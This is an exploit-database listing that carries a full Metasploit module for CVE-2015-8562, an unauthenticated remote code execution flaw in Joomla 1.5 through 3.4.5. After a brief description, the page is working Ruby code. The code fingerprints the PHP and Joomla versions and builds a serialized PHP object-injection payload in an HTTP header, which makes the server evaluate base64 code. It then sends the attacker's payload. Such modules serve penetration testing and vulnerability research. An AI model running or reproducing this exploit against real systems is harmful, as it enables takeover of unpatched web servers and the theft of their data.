Lucene search

K
zdtMetasploit1337DAY-ID-24763
HistoryDec 19, 2015 - 12:00 a.m.

Joomla 1.5 - 3.4.5 - HTTP Header Unauthenticated Remote Code Execution Exploit

2015-12-1900:00:00
metasploit
0day.today
192

0.972 High

EPSS

Percentile

99.8%

Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it’s possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
      'Description'    => %q{
          Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
          By storing user supplied headers in the databases session table it's possible to truncate the input
          by sending an UTF-8 character. The custom created payload is then executed once the session is read
          from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
          In later versions the deserialisation of invalid session data stops on the first error and the
          exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
          5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
      },
      'Author'  =>
        [
          'Marc-Alexandre Montpas', # discovery
          'Christian Mehlmauer' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-8562'],
          ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
          ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
          ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
          ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
          ['URL', 'https://bugs.php.net/bug.php?id=70219']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Joomla 1.5.0 - 3.4.5', {}]],
      'DisclosureDate' => 'Dec 14 2015',
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true,  'The path to joomla', '/' ]),
        OptEnum.new('HEADER', [ true,  'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
      ], self.class)
  end

  def check
    res = send_request_cgi({'uri' => target_uri.path })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    unless res.headers['X-Powered-By']
      vprint_error("Unable to determine the PHP version.")
      return Exploit::CheckCode::Unknown
    end

    php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
    version = Gem::Version.new(php_version)
    vulnerable = false

    # check for ubuntu and debian specific versions. Was fixed in
    # * 5.5.9+dfsg-1ubuntu4.13
    # * 5.3.10-1ubuntu3.20
    # * 5.4.45-0+deb7u1
    # Changelogs (search for CVE-2015-6835 or #70219):
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
    #   http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
    #   http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
    if rest && rest.include?('ubuntu')
      sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
      vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")

      if version > Gem::Version.new('5.5.9')
        vulnerable = false
      elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
        vulnerable = false
      elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
        vulnerable = false
      else
        vulnerable = true
      end
    elsif rest && rest.include?('+deb')
      sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
      vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")

      if version > Gem::Version.new('5.4.45')
        vulnerable = false
      elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
        vulnerable = false
      else
        vulnerable = true
      end
    else
      vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
      vulnerable = true if version <= Gem::Version.new('5.4.44')
      vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
      vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
    end

    unless vulnerable
      vprint_error('This module currently does not work against this PHP version')
      return Exploit::CheckCode::Safe
    end

    res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
    if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
      joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
      unless joomla_version.empty?
        vprint_status("Detected Joomla version #{joomla_version}")
        return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
      end
    end

    res.get_html_meta_elements.each do |element|
      if element.attributes['name'] &&
        /^generator$/i === element.attributes['name'] &&
        element.attributes['content'] &&
        /joomla/i === element.attributes['content'].value
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  # gets a random 4 byte UTF-8 character
  def get_terminator
    # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
    [rand(0x10000..0x10ffff)].pack('U*')
  end

  def get_payload(header_name)
    pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
    pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
    pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
    post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
    t1000 = get_terminator
    return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def exploit
    if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false
      print_error('Target seems safe, so we will not continue.')
      return
    end

    print_status("Sending payload ...")
    header_name = Rex::Text.rand_text_alpha_upper(5)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'headers' => { datastore['HEADER'] => get_payload(header_name) }
    })
    fail_with(Failure::Unknown, 'No response') if res.nil?
    session_cookie = res.get_cookies
    send_request_cgi({
      'method'  => 'GET',
      'uri'     => target_uri.path,
      'cookie'  => session_cookie,
      'headers' => {
        header_name => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
end

#  0day.today [2018-03-02]  #